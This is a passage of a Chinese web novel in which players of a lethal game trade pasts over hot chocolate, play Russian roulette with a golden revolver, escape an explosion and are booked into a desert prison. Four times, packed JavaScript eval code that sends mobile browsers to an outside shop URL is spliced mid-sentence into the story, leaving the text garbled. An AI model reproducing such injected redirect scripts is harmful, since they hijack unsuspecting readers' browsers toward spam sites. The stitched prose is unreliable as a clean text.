在青年眼里,比她高一个头的艾里门·歌德始终是当年那个亦步亦趋,跟在她身后玩泥巴的小孩。 绷带缠满那个孩子的身躯,那双清透的眼里从来爱憎分明…… 她的骨血与灵魂注定如荒原上的野火要一路向前,不曾停留。 于是段心慈不曾知道,自己在艾里门眼中是一场声势浩大的雨季裹挟着滚滚雷鸣,万物都抽枝发芽。 她无法回应任何。 不若放手。天高海阔,你眼里不要再有我。 【地母】神情阴鸷,不说话了。 谢挽非看见这一幕,若有所思。 艾里门·歌德立志于搅混水,究竟是想保段心慈,还是……想要段心慈死? 段心慈又真的,对【地母】的一切都无动于衷吗? TOP榜扭曲的爱恨情仇果然很复杂啊! 不对…… 一想到现在自己现在也是TOP榜的一员,谢挽非瞬间有些不大好。 少年忆起进入代号十前,和段心慈进行过的一场对话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509262|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' * ——寰宇年-S区 “……呃?咖啡馆?” 谢挽非推开街边咖啡馆的门,一眼就在人群中找到邀约之人所在的位置。 倒不是她装了某种雷达,只不过段心慈仅仅是坐在那儿,就自成一块暗角。 和整个咖啡店的氛围格格不入。 一屁股坐在对方面前的座位上,顺手给自己点了杯热巧克力。 “该说不说,确实会是……三代会长会喜欢的闲谈地点?” 明媚的少女单手撑着下巴,看向面前阴郁的青年。 这位无冕之王一如既往的冷淡:“三代会长已经殉职了。” 潜台词是,身为三代会长的人不再能给予任何帮助。 直白到让谢挽非噎住,幸而及时被机械助理端上桌面的热巧克力拯救。 轻抿了一口暖饮,透过缥缈氤氲的暖雾谢挽非看向段心慈。 这人面前空荡荡的,什么都没点。 谢挽非莫名晒笑,她突然就理解—— 在这个人面前,自己不需要那些所谓的社交技巧、试探与暗示。 她只需要实话实说就足够。 但…… “真伤脑筋啊。” 谢挽非敲敲脑袋,叹息一声:“我不是直白的人。” “既然你来了,不如听我给你讲一个故事?” 段心慈不置可否。 一般而言,这样的开头并不是指望她表达自己的态度。 不合时宜的拒绝只会让气氛僵硬。 谢挽非也没指望她能开金口,自顾自地说:“你知道吗,我五岁前生活在孤儿院。” 她顿了顿,于是段心慈礼貌性地回答:“略有耳闻。” ‘……还挺捧场。’ 谢挽非腹诽:‘以这位的性子怕不是早已经把自己背调了个底朝天。’ “孤儿院里环境很差,我猜我不说你也知道。” “但我还是那里最受欢迎的小孩。没有不喜欢我的人。”少年有些浮夸地沾沾自喜。 “……谢挽非你最好真的有正事。“ 段心慈礼貌微笑,十指交叉放在桌面上。 自知偏题,谢挽非咳了咳嗓继续开口:“直到我被谢挽风选中带回谢家。” 已经把谢挽非调查明明白白的青年心底麻木:“……” ‘并没有转折,对吧。’ 果然,就听谢挽非说:“喜欢我的人从一个小小的孤儿院扩大到整座谢家大宅。” “学校里,从同学,学长到老师,校长,无论我做什么,他们都无条件地忍让我。” “见过谢挽非的人里没有人不喜欢谢挽非。即便是你名义上的养母也对我赞赏有加。” 段心慈:“……” 沉默。 寻常人听到这里恐怕会觉得谢挽非是在挑衅。 但段心慈不是寻常人。谢挽非也不是。 两个人的脑回路在此刻出奇的一致:谢挽非的人生像是进了某种传销窝点。 段心慈仔细打量了一番谢挽非—— 还好,没有缺胳膊少腿。 金棕卷发的少女眼瞳在阳光下潋滟,好像世上最珍贵的珠宝。 谢挽非突然失去对自己备受追捧的少年时代叙事的激情—— 她转移话题道:“你还记得第一次见到我吗?” “记得。” 段心慈的回答依旧简洁明了。 “那是我第一次看见没有围着我转的眼睛。”谢挽非哀叹。 ‘偏偏其中又有我的倒影。’ “我想杀了你。” 谢挽非搅动杯底有些凝固的巧克力,于是原本浅淡的颜色重新深重起来。 “我还记得坦白的时候,那是谢挽风在12年里第一次对我说:不行。” 段心慈:‘……该说不说谢挽风是懂紧急避险的。’ 这一次谢挽非不再等待对面青年的回答,而是一口气继续说下去。 “裂痕越来越大,越来越深。” “我开始变得格格不入,他人眼中我仍然是我,但我眼里……已是另一幅模样。” “世界像一块切开流血流脓的蛋糕。” 谢挽非终于抬头正视段心慈。 她情真意切道:“你就是那把切开世界的刀。” 35. 凡她所想即正确 脏污的脓血流尽,她的世界还会恢复如初吗? 谢挽非不知道答案,也不在乎。 她只是完美践行着追寻自我的道路,不惜赌上一切已拥有的从金钱到性命。 “我要跟你走。”少年声音坚决。 阴郁的青年看见对方那双璀璨眼瞳里流淌的疯狂。 她很想说:你不适合那里。 却无论如何都无法昧着良心说出这句话。 最后段心慈说:“你会为此付出代价。” 看似威胁的话却是最坦诚的告诫。 “我不怕代价,也不怕走错路。” 谢挽非看向窗外,人来人往的大街。 “对我来说,现在已经够糟糕了。” 她在心底默念:‘并且不会有比这更残忍的事。’ 所有人的喜欢,都只是世界利用她达成目的的工具。 「谢挽非」存在的意义就像一个名为【主角】的净化摆件,好像这样就可以阻止伤口继续溃烂。 沉浸在这样毫无意义的世界里,头戴虚假的王冠又有什么意思? 一切都是谎言。 “你可能会死。” 段心慈的目光始终落在谢挽非身上,又或者游离:“又或许生不如死。即便如此你也执意要离开吗?” “我不会动摇。” 谢挽非摩挲着杯壁:“我不需要你为我承担什么。” 段心慈有些头疼:“你还年轻。” 她万万想不到有一天这句古板的话会从自己嘴里脱口而出。 时间必死无疑,到那时候局面只会更加混乱。 谢挽非的加入无异于火上浇油。 “我还年轻。” 谢挽非将杯中渐凉的热巧克力一口饮尽:“所以我更不能死在这里。” “我们不是一类人,但你不会不懂我。” “……” ‘我不懂你,谢挽非。’ ‘但你希望我做此假设……’ ‘若换做是我,知道宇宙之外仍有更为广袤的世界,无论如何都不会甘心留在原地。’ 说到底是无穷无尽的野心,同燎原之火不愿遏制。 ‘所以谢挽非,你也是这样想的吗?’ 段心慈靠在椅背上,神情犹移。 谢挽非看出长发青年的动摇,加大筹码:“我会在我认为必要的时刻站在你的阵营。” 她是个聪明人,会开出对方无法拒绝的筹码:“三次。” “你现在的等阶?” 这算是段心慈变相的答应。 谢挽非笑得明媚:“SSS阶。” 仅次于半步真理级别的实力。 并不弱,至少能和玩家榜NO.70左右打得有来有回了。 几乎同时二人面对面站起身。 深灰毛呢大衣衬出段心慈不近人情的锋利,谢挽非在与她擦肩而过的时,抓住那条腰带的末端—— 又在段心慈回头的时候松开手,任由并不柔软的腰带离开。 谢挽非发誓这只是她下意识的动作,鉴于每次都错过这条腰带让她产生了一些小小的执念。 没在腰带上察觉到什么毒药,炸弹或者别的什么东西,段心慈深感莫名地离开。 ‘真是,出乎意料的好说话呢。’ 谢挽非眯了眯眼。 看着长发青年离去的背影,属于世界主角的那部分狂妄躁动着,叫嚣着试图驱动谢挽非的肉身—— 杀了她!杀了段心慈! 杀死那个本不该存在的怪物!世界就是属于你的。 而属于谢挽非自身的灵魂则透过那双璀璨的眼瞳,堪称冷酷的凝视着这一幕。 她无需再权衡利弊—— 一个全新的机遇。 选在旧世界离沉溺,蒙蔽自我…… 又或者站起身,主动迎接那个世界之外未知、更强的世界。 谢挽非毫不犹豫选择后者。 她年轻。 有力量,又有少年人独有的恣意妄为的能力。 ‘为什么不呢?’ 她们没有交换地点与时机,但谢挽非还是准确至极地在那一夜守着天台。 是以她顺理成章地出现在这间氛围剑拔弩张的404号房里,带着无尽勇气与向前的渴望—— “我说,要不然我来转?” 甩掉在寰宇的回忆,谢挽非用来说服其余玩家的理由十分可靠:“我和你们每个玩家都没有恩怨可言。” 【匿名】当即拍板同意:“我没问题。” 但很可惜,他实在没什么话语权。 忒尼斯·厄洛诺斯看了她一眼:“你和段心慈不是同盟?” 谢挽非面露惊讶,气势上丝毫没有被【织觉人】压制:“你怎么会这样想?” “我需要活下去,但她可以轻松达成这个目标。” 少年摊开手:“我们没有共同利益和目标。” ‘……你别说,还真有那么点儿道理。’ 狐蛇没有完全相信谢挽非的话,但还是选择松口:“那你来吧。” 10场副本,他们只有14天时间。 超过这个期限就没有所谓的通关。 他们会被困在这个沦落为代号十提线傀儡的世界中,成为浑浑噩噩的NPC。 或者等待下一届TOP榜前来宰割的BOSS。 那个侍者说对了。 他们必须在今天晚餐前,完成这个所谓‘增进感情’的游戏。 谢挽非深吸一口气,冰凉的空气灌进胸腔,为大脑带来一丝清明的冷意。 有力的手掌按在转盘上,因为用力过大导致指尖泛起青白。 狠狠一推! 她要验证:现在冠以【主角】名号的她,是否仍是【主角】? 弄明白这件事,对之后的行动策略起决定性作用。 验证这件事很简单,【主角】在大结局前是不会死的,并且—— 凡我所想,凡我所做,绝对正确。 从某种角度来说,她谢挽非确实是当之无愧的‘神枪手’。 段心慈猛地看向少年。 而对方双眼紧闭,此时谢挽非的脑海中只有一个念头无比强烈—— 对准我。 对准我对准我对准我对准我对准我对准我对准我对准我对准我对准我对准我! 对准我! 在周围死一样的寂静里,她睁开眼。 金灿灿的枪口映在比之辉煌璀璨千倍万倍的虹膜上。 两者对比,黄金也显得黯淡无光。 这是谢挽非第一次主观上,正式使用这份属于【主角】的能力。 她起身抓起那把黄金左轮,拉开面前的暗格。 十发子弹安静整齐地躺在抽屉里。 谢挽非直接抓出半数子弹依次装填进弹巢,站起身环视一圈:“凶手提问。” 【匿名】歪了歪脑袋,颇有些玩味地将自己手中的红签甩在桌面。 那根红签滑行一段距离,最终像滩血迹,晦涩地停在原本属于黄金左轮的位置。 “今天吃早餐了吗?” 所有玩家都愣住了。 【匿名】这个问题并不犀利,甚至相当好回答。 就在场外大多数观众都认为谢挽非会顺水推舟地回答这个简单的问题。 只有少数玩家知道这个看似平缓,毫无攻击力的提问带着多少隐匿、令人作呕的心思。 给予希望,再狠狠将对方推向深渊。 假设谢挽非回答真话,不知不觉中就会给旁的玩家留下软弱的印象。 毕竟她刚才可是一口气填进去五枚子弹,无形中拉高了这群变态对她的期待值。 况且,这一次她选择退缩,下一次无论是谁都不会再问出这样好回答的问题。 段心慈未必会站在她那边。 所有玩家都好奇这位新晋的TOP.2究竟会怎么做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509263|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 谢挽非对他者的情绪再敏锐不过。 【匿名】这一问纯粹是为给自己添堵,于是她恶意满满地凝视回去:“无可奉告。” 转盘拨动,冰冷沉重的枪口抵住太阳穴。 正如14岁刚刚觉醒自我意志的谢挽非绝对不会想到,三年后的自己会是个将生死置之度外,将一切压上命运赌桌的赌棍。 现场的观众也没有想过,谢挽非居然真的放弃了这样一个唾手可得,大大增加活命概率的机会。 转而选择一条更疯狂也更符合他们心意的……歧路。 只能说,物以类聚这个词汇有它的道理。 轮盘在耳边紧凑的转动,那双漂亮的眼珠甚至没有转动,而是紧紧盯着【匿名】,带着嘲讽与高傲。 在空气黏稠到接近凝固的房间里,扣动扳机的瞬间被无限拉长。 ‘咔哒’一声轻响。 轮空。 就在大家以为谢挽非相安无事,可以继续下一轮的时候,就见她把手枪放回托盘。 在那只手的推动下桌面再次快速转动—— 金色的枪口又一次停在谢挽非面前。 段心慈知道谢挽非的运气,此时已经没有多少紧张感。 但其他玩家不同,在他们看来【主角】就算运气好也不能—— 谢挽非拿起手枪,在手掌里转了两圈。 “抽签啊,都愣着干什么。” 诡异的氛围里,只有木签偶尔磕在桌面的声音。 五支红签。 谢挽非又往弹巢里填一颗。 在场外观众以及其余代号十玩家惊悚的目光下,枪管抬起。 极速转动的轮盘—— 五发子弹,连射五次。 五次轮空。 全场寂然。 这件事本身不算罕见。 凭着绝佳的听力以及对肌肉的绝对把控与调动,段心慈可以做到。 已经死去的前TOP.2【主教】和还活着的TOP.3【织觉人】毋庸置疑也能做到这一点。 震惊点在于谢挽非,一个刚进代号十仅一个月的新人。 她有这份胆量,并且能够成功。 忒尼斯垂目看着手里鲜红的签子,一言不发。 艾里门·歌德闭上眼靠在椅背上,心里不自觉地比较起来。 ‘居然是运气方面的……’ ‘那个叫谢挽非的…能为段心慈提供的远比自己多得多…’ ‘……不甘心啊。居然输在这种虚无缥缈的事物上。’ 【匿名】看向谢挽非的神情已经带上了无与伦比的狂热与亲切。 如果不是其他玩家还在,他现在恨不得立即起身邀请谢挽非自杀,死后与自己融为一体。 【生者】没有【匿名】那么变态。 他手中红签掉在桌面,语气震撼:“【主角】有挂。” 一句话道出全体玩家的心声。 【死者】重重一巴掌拍在老弟后脑勺:“我让你少打游戏。” 谢挽非眼中没有劫后余生的庆幸,她正要第三次转桌—— 一个人形先她一步,‘噌’地一下拍案而起。 是【匿名】。 他捋起右臂藏蓝牛仔布袖管。 一只由不同肤色,不同质感表皮共同缝合而成的手臂就此露出。 “【主角】!我来陪你玩!” 【匿名】这一刻彻底承认谢挽非TOP.2的地位。 尽管谢挽非并不在意(也不想要)就是了。 青年五指张开,按在黄金轮盘上用力一抡。 按理说这是一个相当有力量感的动作,但无论是谢挽非还是其他玩家都硬生生看出一种黏腻的「舔舐」感。 相当扭曲。 “……” 这是极具个体特色、风格的动作。 忒尼斯·厄洛诺斯的脸色不可避免地阴沉下来—— ‘是你。’ 36. 放任自流的憎恶 上回觐神宴。 在段心慈面前表演‘烟花秀’,逼得她不得不在青年面前自裁的那个—— ‘【匿名】。’ ‘你居然真的还活着。’ 厄洛诺斯家族以记仇善变,睚眦必报而享誉整座代号十·时间神域。 ‘顶着这个称号走到我面前,就以为自己如今能够高枕无忧吗?’ ‘如今主动暴露自己的身份,是挑衅?’ ‘好极了!’ 狐蛇尝到口腔里久违的,蛇毒辛辣腥甜的气息。 ‘那就来看看谁的命更长!’ 【匿名】完全不在乎忒尼斯·厄洛诺斯身上针对他而生的可怖杀意。 他完全沉浸在自己的即兴演出里。 枪口也不负忒尼斯所望,在她光明正大的顺水推舟里,正正对准【匿名】。 那只面目可憎的手,手指痉挛扭曲地抓住枪托。 【匿名】磕磕绊绊地一连塞了六颗子弹在弹巢里。 坐在他身旁的【虔诚者】卡利安·尤菲实在看不下去,好意出言提醒—— “6发,一定会死的。” “哦哦,这里没你的事儿。” 显然【匿名】身上没有感恩之心这种东西。 但,也许仅存的,为数不多对死亡的畏惧让他拿掉了第六颗子弹。 他兴高采烈地将枪顶在自己的喉咙处,那张看不清面孔的脸犹如幽魂。 “【主角】,很高兴认识你。” 谢挽非面无表情:“……哦。” ‘你倒是开枪啊。’ ‘砰——!’ 枪声响起,一蓬五颜六色的血花炸开。 在所有玩家难以言喻的注视下,【匿名】喉咙破开一个大洞,正在往外泊泊地冒出鲜血。 如果那种像染料的东西是血的话。 谢挽非难以置信:‘就这?’ 他刚才不是很有底气吗??? 忒尼斯·厄洛诺斯无动于衷,甚至还有心情为谢挽非解释:“他没死。” 仿佛是为印证狐蛇所言非虚—— 那只被「颜料」沾满的手僵硬地抬起,黏腻地搭在桌面。 【匿名】缓缓站起身。 他的喉咙上的枪洞还没愈合,五彩斑斓的血呈喷溅状,染透了他的牛仔外衫。像一幅可笑的童趣涂鸦。 他没有理会他者的目光,再一次握上枪托。 ‘砰!’ 【匿名】死去。 再次站起身时,左边心脏出多了一个窟窿。 ‘砰!’ 这次是右心。 ‘砰!’ 额间。 ‘砰!’ 最后一枪,子弹自太阳穴贯穿而过,飞溅的鲜血像一串热烈的礼花。 【匿名】直挺挺地倒下。 坐在他身旁的卡利安·尤菲猝不及防,淋了一身「颜料」。 谢挽非目瞪口呆。 “段心慈……” 她真心发问:“这就是你们的日常吗?” ‘虽然不想承认,但……’ “……是的。” 并且……她没告诉谢挽非,【匿名】大概率不会就此罢休。 最了解你的,除了爱者就是仇敌。 此时此刻这句话的含金量还在上升。 【匿名】第六次站起身,此刻他身上已经满是窟窿,哗啦啦地往外冒着血。 他不再看谢挽非,而是在段心慈‘果然如此’/‘终于来了’/‘没能逃过’三种心绪交叠的目光下,将余下五颗子弹全部塞进弹巢。 【匿名】黏腻的目光落在段心慈脸上。 他一边转动桌面,一边用举香槟的动作举起这支枪:“这五枪,敬TOP!” 至此,比酒桌文化更要命的东西出现了。 更要命的是没有玩家能(愿意)阻止这一切发生。 五枪过后,【匿名】整个人由内而外像块孔洞奶酪……或是猫加工窗帘。 他是最先清空子弹的玩家。 更重要的是,系统的违规判定迟迟没有出现。 震撼之外,谢挽非彻底领悟了代号十内至为关键的一点: 永远不要低估对手的生命力,在某种程度上甚至比人造蟑螂更胜一筹。 随后谢挽非也不出所料地一次性清空了剩余四枚子弹。 当然不是以【匿名】那样的方式。 狐蛇从谢挽非手里接过手枪。 她对自己的运气没信心,但对自身听力以及对肌肉把控有绝对的信心。 抓住轮空的刹那对她而言再简单不过。 两转十枪,平安无事。 艾里门·歌德同样两转十枪。 轮到【屠夫】穆格罗时,桌面转了三次。 波绪拿四转十枪。 【生者】咽咽唾沫,喉结滚动:“姐,我们说实话,会不会显得很拉胯?” 维莉亚·涅挪怒极反笑:“你死了会更拉胯。” 不是谁都能像【匿名】那个变态一样身中十枪,枪枪要害还能站起来跟没事儿似的继续给他们添堵。 【死者】和【生者】最后都选择回答提问。 所幸【匿名】和谢挽非先前的表现实在炸裂,以至于剩下的玩家谁也没有心思刻意为难他们。 只问了一些无伤大雅的问题。 直到最后一轮抽到凶手签的忒尼斯·厄洛诺斯问维莉亚·涅挪:“我今天的裤子好看吗?” 狐蛇以为这是送命题,她信心满满等夸。 然而—— 漫长的时间一秒接一秒,她始终没有等到自认应得的夸赞。 【匿名】直接不客气地爆笑出声。 就听见维莉亚真情实意地赞美:“好看。” 她现在甚至觉得一群玩家里,只有忒尼斯的穿搭是最养眼的存在。 “特别……美。” 就是脸长得丑。 一个有效时长为24小时的一次性认知扭曲道具。 能成功骗过副本BOSS,却没能骗过忒尼斯。 但现在发难除了让他们时间变局促以外别无意义,她选择忍耐。 狐蛇报仇,十三天后不晚。 【死者】神情恍惚地将手枪放下。 【匿名】贴心地拿过她手里的左轮,塞进【虔诚者】卡利安·尤菲的手中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509264|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 低声耳语:“快开枪呀,等什么呢?” ‘贱种、花瓶。’ 卡利安·尤菲喝了一口他随身携带的果冻酒:“……真话不行吗?” “不行。” 【匿名】畸形扭曲的手掌一挥:“我不同意。” 【虔诚者】只好拿出一颗子弹填进弹巢。 【生者】嘉里亚见状顿时愣住:‘原来可以只填一发子弹?!’ ‘对哦,本来游戏规则就是填一发子弹的……’ ‘那我刚才和老姐胆战心惊地是在干什么???’ ‘天啊…!’ 【生者】摇晃着接下来要继续认知扭曲23时58分17秒的【死者】无声崩溃。 最后【虔诚者】顶着【匿名】恶毒得能淌出尸液的凝视,十转十枪全部轮空。 段心慈是最后轮到的人。 那把外壳华美的左轮手枪被她握在手中,显得格外暗沉。 几乎下一秒就要走到报废,扔进垃圾桶的地步。 五发子弹被依次填进弹巢。 长发青年脸上什么情绪都没有。 轮盘旋转,扣下扳机的动作比呼吸饮水还要轻松几分。 连续五次,五次轮空。 将子弹卸下时,目光微不可察地停顿片刻—— 那些子弹没有自动报废。 她装作一无所知,继续往弹巢里填装子弹,拨动轮盘后对准自己的心脏连开五枪。 一切结束后,段心慈并没有放下那把左轮。 而是站起身,将那浮雕精美的赌具掷向紧锁的大门。 “走!” 青年的声音冷冽果断。 其余玩家下意识跟上她的脚步—— 即将靠近门口时,那把被扔出的手枪炸膛,坚固的房门被炸开一个大洞。 玩家们此刻已经站在过道上。 而在他们身后,另外五枚被段心慈放在桌面的子弹同时爆炸。 有意思的是,那些没经她手的所谓‘废弹’也一齐炸了。 原本金碧辉煌的房间里到处乌漆墨黑的,桌椅在爆炸里四分五裂。 见此情形,玩家还有什么不明白—— 时间恐怕根本没想遵守祂制定的规则。 “我*时间,祢个贱种!”【匿名】破口大骂。 卡利安·尤菲暗道:‘你刚才搞酒桌文化的时候可不是这么说的。’ 谢挽非没想过时间居然玩这种阴险伎俩,顿觉认真玩游戏的自己整个人都不好了。 虽然、但是…… 段心慈也认真了。 好吧,从这点来看这场游戏至少还是有可取之处的。 但现在不是想这些的时候。 从街道各个方向传来的警笛声,以及上空军用直升机螺旋桨的震耳噪音无不诉说着一个事实—— 他们,真的要在这个副本世界被全球通缉了。 作为开局就享受全球通缉待遇的卡利安·尤菲来说,这事儿他有经验。 但不多。 仅仅40小时过去,【虔诚者】的同行者们便整齐划一步了他的后尘。 且没那么惬意。 37. 草率的锒铛入狱 第二天-下午18:00整 他们到底是没能赶上赌场的豪华晚餐。 “姓名。” “段心慈。” “性别、年龄。” “女。三十二岁和两百零七岁。” “?” “……身高。” “一米八十五。” “嗯…对得上。” 狱警比对了一下照片,沉默片刻。 “恐怖袭击罪、爆炸罪、抢劫罪、故意伤人罪、故意杀人罪。” “……你先去旁边等着吧。” 段心慈穿着黑白横条纹囚服靠在墙上,甚至没给她一副手铐。(当然也就没有配套的脚镣。) 倒不是这些人不想给她以及其余玩家拷上。 只不过面对这群普遍能徒手撕开一米厚镍合金的……怪物。 很难说手铐脚镣的作用是什么。 方便他们绞死狱警吗? 大可不必。 对于这群罪犯真的能乖乖束手就擒,监狱也是万万没有想到的。 他们甚至想好利诱招安,结果这群人自己就来了。 而且随便拉出来一个都堪称世纪难题。 “姓名。” “谢挽非。” “性别、年龄。” “女、十九。” 狱警记录信息的手抖了一下,内心腹诽:‘合着还有未成年啊?’ “身高。” “一七九。” “爆炸罪、毁灭世界未遂罪……?” 狱警看她的眼神像在看失足少年,无可救药地摇摇头:“唔,行。你过去吧。” 谢挽非:“……” 她穿着同款囚服站到段心慈身边。 与此同时,同样的对话还在周围发生。 “姓名。” “忒尼斯·厄洛诺斯。” 两个狱警对视一眼。 狱警一号疑惑:‘世界上有这个姓氏吗?’ 狱警二号摇摇头,示意对方别管那么多了。 这帮人身上猎奇的点还不够多吗? “性别、年龄。” “女、三百三十四岁。” 狱警一号看向二号,小声嘀咕:“这也不管?” “不管。上面交代了,他们说啥就填啥。” ‘行吧。’ “身高。” “三米一。” 狱警看着眼前测量数据显示一米九一的厄洛诺斯,最后选择在调查栏里写下: ‘自述三米一,实际一米九一,疑似认知障碍’的字样。 她该庆幸狐蛇并不认识这里的文字。 “……扰乱社会秩序、故意杀人罪以及爆炸罪?” 狐蛇扬了扬下巴:“没错。” 狱警压根不看她:“好了,去和你的同伴站成一排。” 上头的人特意吩咐过她,不要和这家伙的眼睛对视,会产生幻觉。 “下一位!“ “艾里门·歌德。女,二十二岁。身高一九四。” 【地母】自觉开口。 狱警一边记录,一边问:“非法猎捕、杀害世界重点保护——珍贵、濒危野生动物罪。爆炸罪、违反边境(偷渡)罪……” “你还有什么要补充的吗?” “没了。” “ok,去和你的伙伴们站在一起。” 比起前三位挤牙膏式问答,后来的玩家已经总结出了规律,十分自觉。 “穆格罗。男。” “二百六十五岁,身高一九零。” 穆格罗一口气说完:“故意杀人罪、爆破罪以及非法侵入计算机信息系统罪。” “……好的,你过去吧。” “下一位!” “波绪拿,女。七百九十九岁。” “身高……填一八三吧。” 波绪拿手里还紧紧攥着她的粉绒海螺睡帽。 内心对时间的恨意却已经抵达尖锐的地步—— “私自擅闯下水道、破坏城市设施罪……爆炸罪。” 面对一个比一个奇葩的罪行,狱警奋笔疾书,头也不抬:“下一位。” “姓名维莉亚·涅挪。性别女,年龄331岁。身高一米八十点五。” “非法经营罪,爆炸罪。” 如果没有爆炸罪,她甚至远远达不到量刑的标准。 “姓名嘉里亚·涅挪,性别男,年龄331岁,身高一米八十点五。” “抢劫罪,爆炸罪以及故意杀人未遂。” 【生者】本来已经打算走了,但他还是格外愉快地扭头补充—— “对了,维莉亚·涅挪是我姐姐。” 看得出他对这件事很享受,狱警额头青筋跳了跳。 登记过程到目前为止十分顺畅,直到狱警开始面对【匿名】。 “……姓名?” “匿名。” 狱警:“?” 算了,可能是稀有姓氏,就和前面的厄洛诺斯一样。 她说服了自己。 “性别,年龄。” 【匿名】的喉管里发出一串模糊,语义不清的词汇:“¥%!@%!~#。” 狱警后退一步,神情大为震撼。 这实在不像是人的声带能发出来的声音。 “¥%!@%!~#。” 【匿名】脸色狰狞,但他的嘴巴无论如何都无法正常说话。 “呃,好。你别着急。” 二号狱警上前安抚他:“我们给你填未知,你看行吗?” “行就点头。” 【匿名】再不挣扎,点点头。 “身高。” 眼见【匿名】又要变得不对劲起来,二号狱警忙说:“也填未知。” 【匿名】不闹了。 他对狱警的好感稍有提升。 狱警对此一无所知。 她敲了敲手里的本子:“组织、领导、参加恐怖组织罪……” “医闹……聚众扰乱社会秩序罪,爆炸罪。Ok,去找你的伙伴吧。” “最后一位,来。” 卡利安走上前,语气温和:“姓名卡利安·尤菲。性别…男性。” “年龄……填8岁好了。身高181cm。” “非法行医罪,爆炸罪。” 至于冻结海洋…… 这个世界没人查到他头上,且暂时还没有这种罪行。 狱警对他口中的八岁也不知信了还是没信。 她可有可无地在登记本上划拉两下,满意点点头。 “你们可以进去了。” “这座监狱想来你们应该也听说过。” “位于全球最大面积沙漠的中心,专门关押重刑犯。进来就别总想着逃出去了。” ‘因为你们出去了我们就麻烦了。’ “鉴于道德上不支持死刑,你们都被判处无期。” ‘所以老老实实呆着别搞事,别让我丢饭碗。’ 狱警还不知道,这些‘人’已经开始在心底策划越狱的快捷方案。 走过七扭八拐的迷宫,一排排铁栅栏门封锁的牢房出现在视线里。 五扇电子远程遥控的金属闸门同时向一侧打开,在中控台的狱警拿起对讲机:“你们十个,进去。” 系统的任务仍然没有发布。 看来只有玩家们都被关进牢房,这条时间走狗才肯屈尊降贵地发布任务。 没办法,他们只好在狱警的再一次催促下不情不愿地走进牢房。 后脚刚踩进牢房,身后的大铁门瞬间关上并发出‘哐当’一声巨响。 这里的人有些奇怪。 明明知道这扇门关不住他们中的任何一位,仍旧要走个形式图心安。 段心慈回过头与身穿黑白横条纹睡衣睡裤,睡眼惺忪的波绪拿对上视线。 “真不错。” 隔壁牢房的忒尼斯·厄洛诺斯对穆格罗感慨:“TOP大人穿囚服也很有精神。” 【屠夫】:“… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509265|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” ‘这个话题我一点也不想参与!’ 还有,【织觉人】到底是怎么看出来TOP有精神的? 怎么在他看起来,那位不是一直很阴沉吗! 【第三幕-监狱迷宫】 系统冰冷的声音响起—— 【监狱与迷宫同存,迷宫里是入狱的秘密】 【剧场任务:逃离这所沙漠监狱】 “我们入狱还有秘密可言?” 嘉里亚·涅挪语气轻松写意:“因为犯罪。爆炸罪,以及各式各样的糟糕事件。” 【死者】有时候会希望把【生者】的嘴巴缝上,以免那张喋喋不休的嘴巴里总说出让自己不快的话来。 H1-2018-54-1号牢房里【摇篮】波绪拿稳了稳头上三角粉海螺毛绒睡帽。 尽管这只粉海螺睡帽和她藻绿色的头发完全不搭。 绕过段心慈径直走向自己的床铺,钻进铁床架上的被褥里,波绪拿直接两眼一阖。 整个动作行云流水,仿佛在进入牢房前她就已经决心这么干了。 忒尼斯有些不高兴:“我们是被害的。” 【匿名】仗着自己现在和织觉人还隔着中间【死者】与【生者】的牢房,口不择言道—— “该庆幸至少任务是越狱,而不是让我们在牢里住到死。” 忒尼斯·厄洛诺斯忍无可忍,当即编出一道幻觉砸向【匿名】。 【匿名】没想过狐蛇会突然发难。 被幻觉砸中的瞬间他身上每一寸皮肤,每一条神经,每一根骨骼都在幻痛。 消解分裂的酷刑下,一块块颜色各异的皮肉从【匿名】躯体上剥落。 最后只剩下那些无序堆砌的杂乱骨骼套着宽大的……涂鸦囚服。 “……” 卡利安眼睁睁地注视这诡谲的一幕发生在自己面前。 “…看在我们当酒搭子当了整整一年的份上,【织觉人】……” “我求你不要在我的牢房里做这种事……” 